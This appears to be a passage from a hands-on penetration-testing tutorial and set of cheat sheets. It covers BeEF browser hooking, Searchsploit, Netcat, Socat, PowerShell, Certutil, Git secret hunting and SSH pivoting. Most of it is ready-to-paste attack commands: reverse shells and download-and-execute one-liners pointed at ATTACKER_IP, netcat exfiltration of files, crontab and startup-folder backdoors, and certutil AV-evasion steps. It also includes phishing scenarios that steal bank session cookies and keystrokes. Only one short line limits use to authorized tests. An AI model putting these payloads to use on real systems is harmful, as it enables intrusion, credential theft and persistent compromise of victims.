# SCENARIO 1: XSS → Cookie Theft → Account Takeover # 1. Found XSS: http://bank.com/transfer.php?to= # 2. Start BeEF: sudo beef-xss # Hook URL: http://YOUR_IP:3000/hook.js # 3. Inject BeEF hook: http://bank.com/transfer.php?to= # 4. Send to victim (phishing email): "Your transfer failed! Click here: http://bank.com/transfer.php?to=" # 5. Victim clicks → Browser hooked! # 6. BeEF UI → Select hooked browser → Run "Get Cookie" module # Got: session=abc123def456 (session cookie!) # 7. Use cookie to access victim's account: curl http://bank.com/dashboard -H "Cookie: session=abc123def456" # SUCCESS! Accessed victim's bank account! # SCENARIO 2: XSS → Keylogger → Steal Credentials # 1. Hook victim's browser (same as above) # 2. BeEF UI → Run "Keylogger" module # 3. Victim types password on SAME website # Example: Victim logs into http://bank.com/login # 4. BeEF captures keystrokes: # Username: victim@email.com # Password: MySecretPassword123! # 5. Use credentials to login! # SCENARIO 3: XSS → Phishing → Malware Delivery # 1. Hook victim's browser # 2. Run "Fake Notification Bar" module: # Message: "Critical Security Update Available - Click to Install" # Button: "Update Now" # 3. Victim clicks → Redirected to: http://YOUR_SERVER/update.exe # (Meterpreter payload!) # 4. Victim downloads and runs "update" # 5. Got shell on victim's machine!
Advanced Techniques
# Persistent XSS (Stored XSS): # If XSS is stored in database (e.g., comment field): # Comment: # EVERY user who views the comment gets hooked! # Result: Mass exploitation! # Beef over HTTPS (avoid browser warnings): # Get SSL certificate (Let's Encrypt): sudo certbot certonly --standalone -d your-domain.com # Configure BeEF to use HTTPS # Hook URL becomes: https://your-domain.com:3000/hook.js # Tunneling BeEF through Ngrok (bypass firewall): ngrok http 3000 # Hook URL: http://abc123.ngrok.io/hook.js # Works even if victim is behind corporate firewall!

🎯 BeEF Pro Tips

Browser exploitation mastery:

Quick Start:
• sudo beef-xss - Start BeEF
• Web UI: http://127.0.0.1:3000/ui/panel (beef:beef)
• Hook: <script src="http://YOUR_IP:3000/hook.js"></script>

Attack Path:
1. Find XSS vulnerability
2. Inject BeEF hook
3. Social engineer victim to click link
4. Victim's browser gets hooked
5. Run modules (keylogger, cookie theft, etc.)
6. Profit!

Best Modules:
• Get Cookie - Steal session cookies
• Keylogger - Record keystrokes
• Screenshot - See what victim sees
• Pretty Theft - Fake login popup
• Redirect - Send to phishing page
• Webcam - Access camera (needs permission)

Pro Tips:
• Stored XSS = Mass exploitation (hooks ALL visitors!)
• Use HTTPS to avoid browser warnings
• Combine with Metasploit for system shells
• Tunnel through Ngrok to bypass firewalls
• Default creds: beef:beef (CHANGE THIS!)

BeEF = Turn XSS from annoying to DEVASTATING! 🐂💥

Searchsploit (THE Exploit Database CLI)

What is Searchsploit? Searchsploit is a command-line search tool for Exploit-DB. It searches 50,000+ exploits OFFLINE (no internet needed!), finds public exploits for software/CVEs, and integrates with Metasploit. Think "Google for exploits" but LOCAL and FAST!

Why Searchsploit? It's FAST (searches locally), works offline, has 50,000+ exploits, searches by software name/version/CVE, shows exploit path (ready to use!), and updates daily. Essential for exploit research!

Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install exploitdb # Update database: sudo searchsploit -u # Downloads: Latest exploits from Exploit-DB # Basic search: searchsploit apache # Finds: ALL exploits related to "apache" # Example output: Apache 2.4.49 - Path Traversal | php/webapps/50383.sh Apache 2.4.50 - Remote Code Execution | multiple/webapps/50406.py Apache Struts 2.3.5 - RCE | java/webapps/41570.py # BEGINNER EXPLANATION: # Each line = One exploit # Format: Software - Vulnerability Type | Platform/Type/ID.extension # Path: /usr/share/exploitdb/exploits/[path]
Search Techniques
# Search by software name: searchsploit wordpress searchsploit mysql searchsploit windows # Search by version: searchsploit "apache 2.4.49" # Quotes: Exact phrase # Search by CVE: searchsploit CVE-2021-41773 # Finds: Exploit for specific CVE # Multiple keywords (AND): searchsploit apache remote code execution # Finds: Apache exploits with "remote code execution" # Case-sensitive search: searchsploit -c Apache # -c: Case-sensitive # Exact match: searchsploit -e "Apache 2.4.49" # -e: Exact title match # Search title only (ignore description): searchsploit -t apache # -t: Title search only
Filter & Exclude
# Exclude terms: searchsploit apache --exclude="denial of service" # --exclude: Don't show DoS exploits # Filter by platform: searchsploit windows --platform=windows # --platform: windows, linux, unix, php, etc. # Filter by type: searchsploit apache --type=webapps # --type: webapps, remote, local, dos, etc. # Filter by author: searchsploit --author="Metasploit"
View & Copy Exploits
# Show exploit path: searchsploit -p 50383 # -p: Show full path # Output: /usr/share/exploitdb/exploits/php/webapps/50383.sh # Examine exploit: searchsploit -x 50383 # -x: Open exploit in $PAGER (less) # Copy exploit to current directory: searchsploit -m 50383 # -m: Mirror (copy) to current directory # Creates: 50383.sh in current folder # Copy multiple exploits: searchsploit -m 50383 50406 41570 # Copies: All three exploits
Output Formats
# JSON output: searchsploit apache --json # Outputs: JSON format (for automation) # XML output: searchsploit apache --xml # Web browser (open Exploit-DB page): searchsploit -w apache # -w: Opens exploit pages in browser # Show URL only: searchsploit apache --www # --www: Show Exploit-DB URLs
Metasploit Integration
# Check if exploit has Metasploit module: searchsploit apache 2.4.49 # Look for [metasploit] tag in results # Import into Metasploit: searchsploit -m 12345 msfconsole msf6 > use exploit/path/to/exploit
Nmap Integration
# Save Nmap results to XML: nmap -sV -oX scan.xml 192.168.1.50 # Search exploits for discovered services: searchsploit --nmap scan.xml # Automatically: Searches for exploits matching Nmap services! # Example: # Nmap found: Apache 2.4.49 # Searchsploit shows: Apache 2.4.49 exploits!
Complete Attack Scenarios
# SCENARIO 1: Find & Exploit Apache Vulnerability # 1. Nmap scan finds Apache: nmap -sV 192.168.1.50 # Output: 80/tcp open http Apache httpd 2.4.49 # 2. Search for exploits: searchsploit "apache 2.4.49" # Found: Apache 2.4.49 - Path Traversal (CVE-2021-41773) # 3. Copy exploit: searchsploit -m 50383 # Copied: 50383.sh to current directory # 4. Read exploit: cat 50383.sh # Exploit reads: /etc/passwd via path traversal # 5. Test exploit: curl "http://192.168.1.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd" # GOT: /etc/passwd contents! # 6. Escalate to RCE: searchsploit "apache 2.4.50" # Found: Apache 2.4.50 RCE (CVE-2021-42013) # 7. Exploit for shell: python3 50406.py http://192.168.1.50 "id" # Got: command execution! # SCENARIO 2: Exploit Research Workflow # 1. Enumerate target: nmap -sV -oX scan.xml 192.168.1.50 # Found: WordPress 5.8, MySQL 5.7, PHP 7.4 # 2. Auto-search exploits: searchsploit --nmap scan.xml # Shows: Exploits for ALL detected services! # 3. Search specific version: searchsploit "wordpress 5.8" # Found: Multiple WordPress exploits # 4. Filter for RCE: searchsploit wordpress 5.8 --exclude="xss" --exclude="csrf" # Only: Remote Code Execution exploits # 5. Copy most recent: searchsploit -m 50299 # 6. Test exploit: python3 50299.py -u http://192.168.1.50

🎯 Searchsploit Cheat Sheet

Exploit research essentials:

Basic Searches:
• searchsploit SOFTWARE - Search by name
• searchsploit "apache 2.4.49" - Exact version
• searchsploit CVE-2021-41773 - Search by CVE
• searchsploit -t apache - Title only
• searchsploit -e "exact title" - Exact match

Filters:
• --exclude="dos" - Exclude DoS exploits
• --platform=windows - Filter by platform
• --type=webapps - Filter by type

Actions:
• -p ID - Show exploit path
• -x ID - Examine exploit
• -m ID - Copy exploit to current directory
• -w QUERY - Open in browser

Advanced:
• --nmap scan.xml - Search exploits for Nmap results
• --json - JSON output
• -u - Update database

Pro Tips:
• Update weekly: sudo searchsploit -u
• Use Nmap integration: --nmap (saves time!)
• Copy before testing: -m ID
• Exclude DoS: --exclude="denial" (avoid crashing target)
• Check Metasploit first (easier to use)
• Read exploit code before running (safety!)

Workflow:
1. Nmap scan → Identify services/versions
2. Searchsploit → Find exploits
3. Copy exploit → Read & understand it
4. Test exploit → Get shell/access
5. Escalate privileges!

Searchsploit = Your local exploit encyclopedia! 📚💣

Essential Linux Commands for Pentesting

Master these commands and you'll navigate any Linux system like a pro! These are the building blocks for enumeration, exploitation, and post-exploitation.

File System Navigation & Discovery
# Find files by name: find / -name "passwords.txt" 2>/dev/null # /: Start from root # -name: Search by filename # 2>/dev/null: Hide errors (permission denied) # Find files by extension: find /home -name "*.txt" 2>/dev/null # Finds: All .txt files in /home # Find SUID binaries (privilege escalation!): find / -perm -4000 2>/dev/null # -perm -4000: SUID bit set # SUID = Run as owner (often root!) # Find writable files: find / -writable 2>/dev/null # Finds: Files YOU can modify # Find files modified in last 10 minutes: find /var/www -mmin -10 # -mmin -10: Modified in last 10 minutes # Find large files (>100MB): find / -size +100M 2>/dev/null # Useful: Finding hidden data, backups # Locate (faster than find): locate passwords.txt # Database: Updated daily (sudo updatedb)
Text Processing & Grep
# Search for text in files: grep -r "password" /var/www/ # -r: Recursive (all files in directory) # Finds: Files containing "password" # Case-insensitive search: grep -ri "password" /var/www/ # -i: Ignore case # Show line numbers: grep -rn "password" /var/www/ # -n: Show line numbers # Search for IP addresses: grep -rE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /var/log/ # -E: Extended regex # Invert match (show lines NOT matching): grep -v "error" /var/log/apache2/access.log # -v: Invert (exclude "error") # Show only filenames (no content): grep -rl "password" /var/www/ # -l: List filenames only # Context (show lines before/after match): grep -A 5 -B 5 "password" config.php # -A 5: 5 lines after # -B 5: 5 lines before
Awk & Sed (Text Manipulation)
# Awk: Extract columns cat access.log | awk '{print $1}' # Prints: First column (IP addresses) # Extract IPs from Nmap: cat nmap_scan.txt | grep "open" | awk '{print $2}' # Awk with condition: cat access.log | awk '$9 == 200 {print $1}' # Prints: IPs with 200 status code # Sed: Replace text cat config.php | sed 's/password123/newpassword/g' # s/OLD/NEW/g: Replace all occurrences # Sed: Delete lines cat file.txt | sed '/^#/d' # /^#/d: Delete lines starting with # # Extract emails: cat data.txt | grep -Eo "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"
Networking Commands
# Check open ports (no nmap): ss -tuln # -t: TCP # -u: UDP # -l: Listening # -n: Numeric (no DNS resolution) # Download file: wget http://example.com/file.txt curl http://example.com/file.txt -o file.txt # Download & execute (post-exploitation): curl http://attacker_ip/shell.sh | bash wget http://attacker_ip/shell.sh -O - | bash # Check connectivity: ping -c 4 8.8.8.8 # -c 4: Send 4 packets # Traceroute: traceroute google.com # DNS lookup: nslookup google.com dig google.com # Check routing table: ip route route -n
File Transfer (No SCP/FTP)
# ATTACKER: Start HTTP server python3 -m http.server 80 # VICTIM: Download file wget http://ATTACKER_IP/file.txt curl http://ATTACKER_IP/file.txt -o file.txt # VICTIM: Upload file to attacker # ATTACKER: Start listener (receive file) nc -lvnp 4444 > received_file.txt # VICTIM: Send file cat file.txt | nc ATTACKER_IP 4444 # Base64 encode (copy/paste transfer): cat file.txt | base64 # Copy output, paste on attacker: echo "BASE64_STRING" | base64 -d > file.txt
Process Management
# List all processes: ps aux ps -ef # Find specific process: ps aux | grep apache # Show process tree: pstree # Kill process: kill 1234 # 1234 = Process ID (PID) # Force kill: kill -9 1234 # Kill by name: killall apache2 pkill apache2 # Background process: ./script.sh & # List background jobs: jobs # Bring to foreground: fg %1 # %1 = Job number
User & Permission Management
# Check current user: whoami id # Check sudo permissions: sudo -l # Shows: Commands you can run as root # Check other logged-in users: w who last # Add user: sudo useradd hacker sudo passwd hacker # Add user to sudo group: sudo usermod -aG sudo hacker # Change file permissions: chmod +x script.sh chmod 777 file.txt # 777 = rwxrwxrwx (read/write/execute for all) # Change file owner: sudo chown root:root file.txt
Compression & Archives
# Create tar archive: tar -czf archive.tar.gz /path/to/directory/ # -c: Create # -z: Gzip compression # -f: Filename # Extract tar archive: tar -xzf archive.tar.gz # -x: Extract # List contents: tar -tzf archive.tar.gz # -t: List # Zip file: zip -r archive.zip /path/to/directory/ # Unzip: unzip archive.zip

🎯 Linux Commands Cheat Sheet

Essential commands for pentesting:

File Discovery:
• find / -name FILE 2>/dev/null - Find file
• find / -perm -4000 2>/dev/null - Find SUID binaries
• find / -writable 2>/dev/null - Find writable files
• locate FILE - Fast file search

Text Search:
• grep -r "password" /var/www/ - Search files
• grep -rn "password" . - With line numbers
• grep -v "error" file.txt - Exclude pattern

Networking:
• ss -tuln - Open ports
• wget URL - Download file
• curl URL | bash - Download & execute

File Transfer:
• Attacker: python3 -m http.server 80
• Victim: wget http://ATTACKER_IP/file
• Upload: cat file | nc ATTACKER_IP 4444

Processes:
• ps aux - List processes
• kill -9 PID - Force kill
• sudo -l - Check sudo permissions

Pro Tips:
• Use 2>/dev/null to hide errors
• Find SUID binaries for privilege escalation
• sudo -l is FIRST thing to check!
• Transfer files with Python HTTP server (always available)
• Use grep -r to find passwords in config files

Master these = Master Linux pentesting! 🐧💻

Netcat (THE TCP/UDP Swiss Army Knife)

What is Netcat? Netcat (nc) is called the "Swiss Army knife of networking" - it can do EVERYTHING with TCP/UDP: file transfer, port scanning, backdoors, reverse/bind shells, banners, chat, and MORE! Every pentester's essential tool!

Why Netcat? It's pre-installed EVERYWHERE (Linux, Windows, Mac), simple syntax, powerful capabilities, perfect for shells, and has 1,000+ use cases. Learn Netcat = Learn networking!

Basic Usage & Connections
# Connect to host/port (telnet-like): nc example.com 80 # Opens: TCP connection to port 80 # Then type: HTTP request # Example HTTP request: GET / HTTP/1.1 Host: example.com # Listen on port (server mode): nc -lvnp 4444 # -l: Listen mode # -v: Verbose # -n: No DNS resolution # -p: Port number # BEGINNER EXPLANATION: # nc can act as CLIENT (connect to) OR SERVER (listen on)
Reverse Shells (THE Most Important!)
# SCENARIO: You found RCE on victim machine → Get shell! # ATTACKER: Start listener nc -lvnp 4444 # Waiting for victim to connect... # VICTIM: Execute reverse shell command # Linux victim: nc ATTACKER_IP 4444 -e /bin/bash # -e: Execute /bin/bash → send to attacker # Alternative (if -e not available): rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f # Python reverse shell (always works!): python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' # Bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Windows victim: nc.exe ATTACKER_IP 4444 -e cmd.exe # PowerShell reverse shell: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # ATTACKER receives: listening on [any] 4444 ... connect to [ATTACKER_IP] from (UNKNOWN) [VICTIM_IP] 54321 bash-5.1$ whoami www-data bash-5.1$ id uid=33(www-data) gid=33(www-data)
Bind Shells
# SCENARIO: Reverse shell blocked by firewall → Use bind shell # VICTIM: Listen on port (wait for attacker) nc -lvnp 4444 -e /bin/bash # Victim opens port 4444 with shell attached # ATTACKER: Connect to victim nc VICTIM_IP 4444 # Connects → Gets shell! # WHEN TO USE: # Reverse shell = Victim connects to attacker (MOST COMMON) # Bind shell = Attacker connects to victim (when reverse blocked)
File Transfer
# Send file from ATTACKER to VICTIM: # VICTIM: Listen & receive nc -lvnp 4444 > received_file.txt # Saves: Incoming data to file # ATTACKER: Send file nc VICTIM_IP 4444 < file_to_send.txt # Sends: File contents # Send file from VICTIM to ATTACKER: # ATTACKER: Listen & receive nc -lvnp 4444 > stolen_data.txt # VICTIM: Send file nc ATTACKER_IP 4444 < /etc/passwd # Transfer directory (with tar): # VICTIM: Listen & extract nc -lvnp 4444 | tar -xzf - # ATTACKER: Compress & send tar -czf - /path/to/directory/ | nc VICTIM_IP 4444
Port Scanning
# Scan single port: nc -zv example.com 80 # -z: Zero-I/O mode (scan only, no data) # -v: Verbose # Output: Connection to example.com 80 port [tcp/http] succeeded! # Scan port range: nc -zv example.com 20-100 # Scans: Ports 20 through 100 # Fast scan (UDP): nc -zvu example.com 53 # -u: UDP mode # BEGINNER NOTE: # nc is NOT optimized for scanning → Use nmap instead! # But useful when nmap is not available
Banner Grabbing
# Grab service banner: nc -v example.com 21 # Connects to FTP → Shows banner # 220 FTP Server Ready # HTTP banner: echo "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80 # SSH banner: nc example.com 22 # SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5 # SMTP banner: nc mail.example.com 25 # 220 mail.example.com ESMTP Postfix
Backdoors & Persistence
# Permanent backdoor (survives reboot): # Linux - Add to crontab: (crontab -l 2>/dev/null; echo "@reboot nc ATTACKER_IP 4444 -e /bin/bash") | crontab - # Runs: nc reverse shell on every reboot! # Alternative - Add to startup script: echo "nc ATTACKER_IP 4444 -e /bin/bash &" >> ~/.bashrc # Windows - Add to startup: echo nc.exe ATTACKER_IP 4444 -e cmd.exe > C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat # ETHICAL NOTE: # Only use for authorized pentests! Backdoors = persistence = serious legal implications!
Netcat Relay (Pivot/Proxy)
# Use compromised machine as relay: # VICTIM (DMZ machine): Relay traffic mkfifo /tmp/fifo nc -l -p 8080 < /tmp/fifo | nc INTERNAL_IP 80 > /tmp/fifo # Forwards: Attacker's connections to internal machine # ATTACKER: Connect to DMZ machine nc VICTIM_IP 8080 # Traffic goes: Attacker → Victim → Internal machine

Socat (THE Advanced Netcat)

What is Socat? Socat (SOcket CAT) is Netcat on steroids! It supports SSL/TLS encryption, bidirectional data streams, file descriptors, SOCKS proxies, and MORE complex networking than nc. Think "Netcat Pro"!

Why Socat? Encrypted shells (SSL/TLS), more flexible than nc, supports SOCKS/HTTP proxies, handles binary data better, and has advanced port forwarding. Essential for modern pentesting!

Installation & Basic Usage
# Install: sudo apt install socat # Basic connection (like nc): socat - TCP:example.com:80 # -: stdin/stdout # Listen (like nc -l): socat TCP-LISTEN:4444 - # Listens on port 4444
Encrypted Reverse Shells (SSL/TLS)
# CREATE SSL CERTIFICATE (ATTACKER): openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt # Generates: shell.key and shell.crt # Combine into PEM: cat shell.key shell.crt > shell.pem # ATTACKER: Listen with SSL socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 - # OPENSSL-LISTEN: SSL encrypted listener # verify=0: Don't verify client certificate # VICTIM: Connect with SSL socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash # Encrypted shell! # WHY THIS MATTERS: # Traffic is ENCRYPTED → IDS/IPS can't see shell commands! # Bypasses: Network monitoring, DLP
Reverse Shells with Socat
# ATTACKER: Listen socat TCP-LISTEN:4444 - # VICTIM: Reverse shell socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash # Linux shell # Windows shell: socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes # Interactive shell (with PTY): socat TCP-LISTEN:4444 - # VICTIM: socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane # pty: Pseudo-terminal (interactive!) # stderr: Include errors # setsid: New session # sigint: Handle Ctrl+C # sane: Terminal settings # BETTER: Full TTY shell (runs sudo, nano, etc.)
File Transfer
# Send file (ATTACKER → VICTIM): # VICTIM: Listen & receive socat TCP-LISTEN:4444 OPEN:received_file.txt,creat # ATTACKER: Send socat TCP:VICTIM_IP:4444 FILE:file_to_send.txt # Faster than nc! # Can resume: Use SEEK option
Port Forwarding
# Forward local port to remote: socat TCP-LISTEN:8080,fork TCP:example.com:80 # Forwards: localhost:8080 → example.com:80 # fork: Handle multiple connections # Example use: curl http://localhost:8080 # Actually connects to: example.com:80 # Forward to internal network: socat TCP-LISTEN:3389,fork TCP:10.10.10.50:3389 # Forwards: Attacker's 3389 → Internal machine's RDP # Access RDP via: localhost:3389

PowerShell for Pentesting (Windows Post-Exploitation)

PowerShell is THE most powerful tool for Windows pentesting. It's pre-installed on ALL Windows machines (Win 7+), can bypass AV (fileless attacks), has full system access, and is used by attackers AND admins!

PowerShell Reverse Shells
# One-liner reverse shell (COPY/PASTE): powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # PowerShell download & execute: powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')" # IEX = Invoke-Expression (execute code) # Fileless attack! # Bypass execution policy: powershell -ExecutionPolicy Bypass -File script.ps1 powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')"
Enumeration with PowerShell
# List users: Get-LocalUser Get-ADUser -Filter * # List groups: Get-LocalGroup Get-ADGroup -Filter * # Check privileges: whoami /all whoami /priv # List processes: Get-Process # List services: Get-Service # Network connections: Get-NetTCPConnection # Firewall rules: Get-NetFirewallRule
PowerShell File Transfer
# Download file: (New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/file.exe', 'C:\Temp\file.exe') # Shorter: wget http://ATTACKER_IP/file.exe -OutFile C:\Temp\file.exe # wget = PowerShell alias # Upload file to attacker: # ATTACKER: Start listener nc -lvnp 4444 > received.txt # VICTIM: $client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444) $stream = $client.GetStream() $data = [System.IO.File]::ReadAllBytes('C:\passwords.txt') $stream.Write($data,0,$data.Length) $client.Close()

Certutil (Windows LOLBin - Living Off The Land)

Certutil is a Microsoft-signed binary for managing certificates - BUT it can download files, encode/decode, and bypass AV! Perfect for Windows post-exploitation!

Download Files with Certutil
# Download file (bypass AV!): certutil -urlcache -f http://ATTACKER_IP/file.exe C:\Temp\file.exe # -urlcache: Download from URL # -f: Force # Alternative syntax: certutil.exe -urlcache -split -f http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe # WHY THIS WORKS: # certutil.exe is SIGNED by Microsoft # Many AVs trust it (whitelist) # Downloads files WITHOUT triggering alerts! # Verify download: dir C:\Temp\file.exe
Encode/Decode (Obfuscation)
# Base64 encode: certutil -encode payload.exe payload.txt # Creates: Base64 text file # Transfer encoded file (less detection): certutil -urlcache -f http://ATTACKER_IP/payload.txt C:\Temp\payload.txt # Decode: certutil -decode C:\Temp\payload.txt C:\Temp\payload.exe # Restores: Original executable # BYPASS AV: # AV scans payload.exe → DETECTED! # Transfer as payload.txt (encoded) → NOT DETECTED! # Decode on victim → Execute!

🎯 Netcat/Socat/PowerShell Cheat Sheet

Essential networking & shell tools:

Netcat Reverse Shell:
• Attacker: nc -lvnp 4444
• Victim (Linux): nc ATTACKER_IP 4444 -e /bin/bash
• Victim (Windows): nc.exe ATTACKER_IP 4444 -e cmd.exe

Netcat File Transfer:
• Receive: nc -lvnp 4444 > file.txt
• Send: nc VICTIM_IP 4444 < file.txt

Socat Encrypted Shell:
• Generate cert: openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt; cat shell.key shell.crt > shell.pem
• Attacker: socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 -
• Victim: socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash

PowerShell Download & Execute:
• powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')"

Certutil Download:
• certutil -urlcache -f http://ATTACKER_IP/file.exe C:\Temp\file.exe

Pro Tips:
• Reverse shell > Bind shell (works through firewalls)
• Use socat for encrypted shells (bypass IDS/IPS)
• PowerShell bypasses most AV (fileless!)
• Certutil downloads files without AV alerts (signed by MS!)
• Always stabilize shells: python -c 'import pty;pty.spawn("/bin/bash")'

Master these = Master shell access! 🐚💻

Git Commands for Pentesting (Reconnaissance & OSINT)

Why Git? Developers often push SECRETS to GitHub/GitLab: API keys, passwords, AWS credentials, database configs! Git history stores EVERYTHING - even deleted files. Essential for OSINT and recon!

Clone & Analyze Repositories
# Clone repository: git clone https://github.com/company/webapp.git cd webapp # Check commit history: git log # Shows: All commits (dates, authors, messages) # Search commit messages for secrets: git log --all --grep='password' git log --all --grep='api_key' git log --all --grep='secret' # Show specific commit: git show COMMIT_HASH # Reveals: Changed files, added/deleted code # Search all commits for string: git log -p -S 'password' # -p: Show patches (code changes) # -S: Search for string in code
Find Secrets in Git History
# Search for AWS keys: git log -p | grep -i 'aws_access_key' # Search for database credentials: git log -p | grep -i 'db_password' # Check .git/config (remote URLs with creds): cat .git/config # May contain: https://username:password@github.com/repo.git # List all files EVER committed: git log --pretty=format: --name-only --diff-filter=A | sort -u # Shows: Files that existed in past (even if deleted now!) # Restore deleted file: git checkout COMMIT_HASH -- path/to/deleted/file.php
Automated Secret Scanning
# TruffleHog (scan Git for secrets): pip3 install truffleHog trufflehog https://github.com/company/webapp.git # Finds: High-entropy strings (passwords, API keys, etc.) # GitLeaks (another secret scanner): docker run --rm -v $(pwd):/path zricethezav/gitleaks:latest detect --source="/path" -v # Scans: Entire Git history for secrets # Gitrob (enumerate GitHub organization): # Finds: Sensitive files across ALL company repos
Check for Exposed .git Directories
# SCENARIO: Found .git directory on web server! # Example: http://target.com/.git/ # Download entire Git repo from web: wget -r http://target.com/.git/ # OR: git-dumper http://target.com/.git/ output_directory # Reconstruct repository: cd output_directory git log # Now you have: Full source code + commit history! # Extract secrets: git log -p | grep -i password

🎯 Git Pentesting Cheat Sheet

Finding secrets in Git repositories:

Search Commits:
• git log --all --grep='password' - Search commit messages
• git log -p -S 'api_key' - Search code changes
• git log -p | grep -i 'secret' - Search all commits

Automated Tools:
• trufflehog https://github.com/user/repo.git - Find secrets
• gitleaks detect --source=. -v - Scan for credentials

Exposed .git:
• wget -r http://target.com/.git/ - Download repository
• git-dumper http://target.com/.git/ output/ - Better tool

What to Look For:
• AWS keys (AKIA...)
• Database passwords
• API tokens
• SSH private keys
• .env files
• config.php with credentials

Pro Tips:
• ALWAYS check Git history (secrets often in old commits!)
• Use trufflehog on ALL target repos
• Check .git/config for hardcoded credentials in URLs
• Look for deleted files with git log --name-only
• Exposed .git = Full source code disclosure!

Git = Developer goldmine for secrets! 🔑💎

SSH Tunneling & Port Forwarding (THE Pivoting Classic)

SSH Tunneling is THE original pivoting technique! Use compromised SSH access to create encrypted tunnels, forward ports, and access internal networks. Every pentester must master SSH!

Local Port Forwarding (Access Internal Services)
# SCENARIO: You have SSH to Jump Box (192.168.1.50), want to access Internal Web Server (10.10.10.50:80) # Forward local port 8080 → Internal 10.10.10.50:80 ssh -L 8080:10.10.10.50:80 user@192.168.1.50 # -L: Local forward # 8080: Your local port # 10.10.10.50:80: Internal server # Now access internal web server: curl http://localhost:8080 # Traffic goes: localhost:8080 → SSH tunnel → Jump Box → 10.10.10.50:80 # Multiple forwards: ssh -L 8080:10.10.10.50:80 -L 3389:10.10.10.51:3389 -L 3306:10.10.10.52:3306 user@192.168.1.50 # Forwards: # localhost:8080 → 10.10.10.50:80 (web) # localhost:3389 → 10.10.10.51:3389 (RDP) # localhost:3306 → 10.10.10.52:3306 (MySQL)
Remote Port Forwarding (Reverse Tunnel)
# SCENARIO: Jump Box behind firewall, can't connect IN. Make Jump Box connect OUT to you! # On YOUR attacker machine: ssh -R 4444:localhost:4444 user@JUMP_BOX # -R: Remote forward # Jump Box port 4444 → Your localhost:4444 # Now on Jump Box: nc localhost 4444 # Connects back to YOUR machine! # USE CASE: # Start service on your machine (e.g., web server on 8080) # Reverse forward: ssh -R 8080:localhost:8080 user@VICTIM # Victim can access: curl http://localhost:8080 (reaches YOUR machine!) # Great for: Delivering payloads, exfiltration
Dynamic Port Forwarding (SOCKS Proxy)
# Create SOCKS proxy through SSH: ssh -D 1080 user@192.168.1.50 # -D: Dynamic forward (SOCKS5 proxy) # 1080: Local SOCKS proxy port # Configure proxychains: sudo nano /etc/proxychains4.conf # Add: socks5 127.0.0.1 1080 # Use SOCKS proxy: proxychains nmap -sT 10.10.10.0/24 proxychains evil-winrm -i 10.10.10.50 -u admin -p password # Access via browser: # Firefox → Settings → Network → Manual proxy configuration # SOCKS Host: 127.0.0.1, Port: 1080
SSH ProxyJump (Multi-Hop)
# Jump through multiple SSH servers: ssh -J user1@jumpbox1,user2@jumpbox2 user3@target # -J: ProxyJump (chain) # Connects: You → jumpbox1 → jumpbox2 → target # With port forward: ssh -J user@jumpbox -L 8080:10.10.10.50:80 user@internal_box # Access internal web server through 2 hops!
SSH Tunnel in Background
# Run SSH tunnel in background: ssh -fN -D 1080 user@jumpbox # -f: Background # -N: No command execution (just tunnel) # Kill background tunnel: ps aux | grep ssh kill PID # Auto-reconnect (persistent tunnel): while true; do ssh -N -D 1080 user@jumpbox; sleep 5; done &

Docker for Pentesting

Docker is increasingly common in enterprise environments. Understanding Docker = Find misconfigurations, escape containers, and pivot!

Docker Enumeration
